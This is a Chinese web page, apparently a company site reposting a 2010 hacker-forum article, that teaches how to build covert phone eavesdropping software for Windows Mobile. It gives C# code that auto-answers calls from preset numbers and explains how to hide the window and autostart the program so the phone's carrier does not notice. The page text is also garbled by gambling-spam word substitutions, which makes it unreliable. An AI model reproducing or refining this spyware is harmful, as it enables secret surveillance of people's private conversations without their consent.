青海龙8国际乐建设、网络推广最好的公司--您身边的龙8国际乐建设专家,马上拿起电话,联系我们:0971-8235355   
青海西宁龙8国际乐建设、龙8国际乐制作公司-西宁威势电子信息服务有限公司
 
西宁威势最新龙8国际乐制做案例展示
Lastest Project
 
当前位置为:首页 >> .NET编程 >> 正文  
龙8国际乐_龙8国际娱乐电脑版_龙8国际娱城手机版

文章来源: 西宁威势电子信息服务有限公司     发布时间:2010-9-17    浏览次数:3221   

后由作者:masepu[E.S.T]发布在邪八

原文地址 http://forum.eviloctal.com/thread-41053-1-2.html

一、引子
前段时间遇到了一件郁闷的事,一位朋友总是拨打我的手机,我接了他那边又不说话,只能听到他在路上走路的脚步声和与别人的说话的声音,而我打电话过去他却不接,连续几次后我终于坚持不住关机了事。后来我想一定是他将手机静音后又没有锁键盘,装在口袋里不小心就把电话拨了出去。这使我想到了能不能利用手机做成一个窃听器呢。经过实验,证明这种想法是可行的。在这篇文章中,
我们就要利用手机来获取其使用者所处环境中的各种声音信息,这就像是安装在手机使用者身上的一个窃听器,可以随时随地的通过拨打电话的方式来窃听到携带此手机的人与周围其他人的谈话内容和情况。

二、设计思路
首先我们要在作为窃听器的手机上植入我们编写的窃听软件,窃听软件要实现的主要功能包括以下几点:
1、监控手机状态。软件要求能够在有电话打入时获得当前的手机状态,并触发相应的事件函数;
2、获得并对比来电号码。当有来电时,软件要求能够获得来电号码并和预设于软件中的号码组进行比较,看该号码是否存在于预设的号码组中;
3、自动接听。如果来电号码与指定的电话号码相同,软件就会立即自动接听该电话。这时候电话处于通话状态,我们就可以通过手机听到对方周围的声音了。
4、开机自启动和界面隐藏。作为一个窃听软件,必须要求能够在手机重新开机后自动运行起来,不需要手动运行。同时为了避免引起手机使用者的注意,程序界面必须隐藏。
下面我们就根据这些要求来具体实现这个手机窃听软件。

三、编程实现
如何搭建软件的编译环境大家可以参见今年第三期的《打造手机通话记录获取木马(masepu)》一文中的方法。与之不同的是我们编程所使用到的开发软件是Microsoft Visual Studio 2008和Windows Mobile 6.0 SDK。
如果有电话打入,软件首先要判断出当前手机是待接电话状态,并且获得来电号码,最后根据手机来电状态事件响应函数来处理对指定号码的来电自动接听。
首先我们通过挂接来电事件委托来监视手机的来电状态,代码实现如下:

代码:
SystemState PhoneInState = new SystemState(SystemProperty.
PhoneIncomingCall);
SystemState state = new SystemState(SystemProperty.
PhoneIncomingCallerNumber);
state.Changed += new ChangeEventHandler(state_Changed);
PhoneInState.Changed += new ChangeEventHandler(PhoneState _Changed);
当有来电时state_Changed函数会被执行,将来电号码传递给全局变量number。函数代码如下:
void state_Changed(object sender, ChangeEventArgs args)
{ if (args.NewValue != null)
{ number = (String)args.NewValue;}}

PhoneState_Changed函数在系统状态变为来电状态时被执行,用来判断来电是否与指定号码相同,如相同则调用自动接听函数。函数代码如下:

代码:
void PhoneState_Changed(object sender, ChangeEventArgs args)
{ if (GetCall.BannedList.Exists((s) =>
{s = number;
return (from t in GetCall.BannedList
where t.Equals(s)
select t).Count() == 0 ? false : true; }))
GetCall.EXECUTE();}

其中GetCall是自定义的自动接指定电话的类,定义如下:

代码:
public static class GetCall
{ //接听电话键的VK键值 F3
private const int VK_F3 = 0x72;
private const int KEYEVENTF_KEYUP = 0x0002;
//自动接听的电话号码单
public static List BannedList = new List();
// 模拟来电接听的按键操作
public static void EXECUTE()
{ MyRef.keybd_event(VK_F3, 0, 0, 0);
MyRef.keybd_event(VK_F3, 0, KEYEVENTF_KEYUP, 0); }
}

以上是来电自动接听的关键代码,实现了该手机窃听软件的基本功能。下面的工作就是对程序进行伪装。最简单的方法就是将窗体的大小设置为最小,窗体的Text属性为空,同时要将窗体的FormBorder_
Style属性更改为None,这样运行后桌面上就没有程序的界面了。程序自启动的问题可以用启动组的方式来解决,具体位置是在windows目录下的startup文件夹中,可以实现和PC机上的windows操作系统启动组一样的开机自启动程序的功能。到此这个简单的手机窃听软件就编写完成了。
四、总结
本文通过实现指定来电的自动接听功能,用以解决手机作为窃听器的问题。其实我们有时只要转变一下思路,就可以将相同或者相似的软件功能应用在完全不同的实际应用当中。在2010年黑客防线第三期《再谈手机攻防》heiben的文章中有关于某些品牌手机可以通过短路连接手机的针脚来激活手机自动接听功能使手机变成窃听器的介绍,相对于这种方法,本文也算是对这种“硬”窃听的一种“软”实现吧。当然该程序还有许多需要完善的地方,如接听后手机显示为接电话状态,自动接听前会有可能出现短暂的震铃声等,感兴趣的朋友可以继续完善它(本程序在安装了Microsoft .NET Framework 3.5的多普达S1手机上测试通过)


评论列表
正在加载评论……
  
评论   
呢  称:
验证码:
若看不清请点击更换!
内  容:
 
 
  在线洽谈咨询:
点击这里,在线洽谈   点击这里,在线洽谈   点击这里,在线洽谈
乘车路线    汇款方式   加盟合作  人才招聘
 
公司地址:青海省西宁市西关大街73号(三二四部队招行所四楼)     青ICP备13000578号-1 公安机关备案号:63010402000123    
QQ:147399120    mail:lostlove000@163.com    电话: 13897410341    邮编:810000
© Copyright( 2008-2009) QhWins.Com All Rights Reserved    版权所有:西宁威势电子信息服务有限公司 未经书面制授权,请勿随意转载!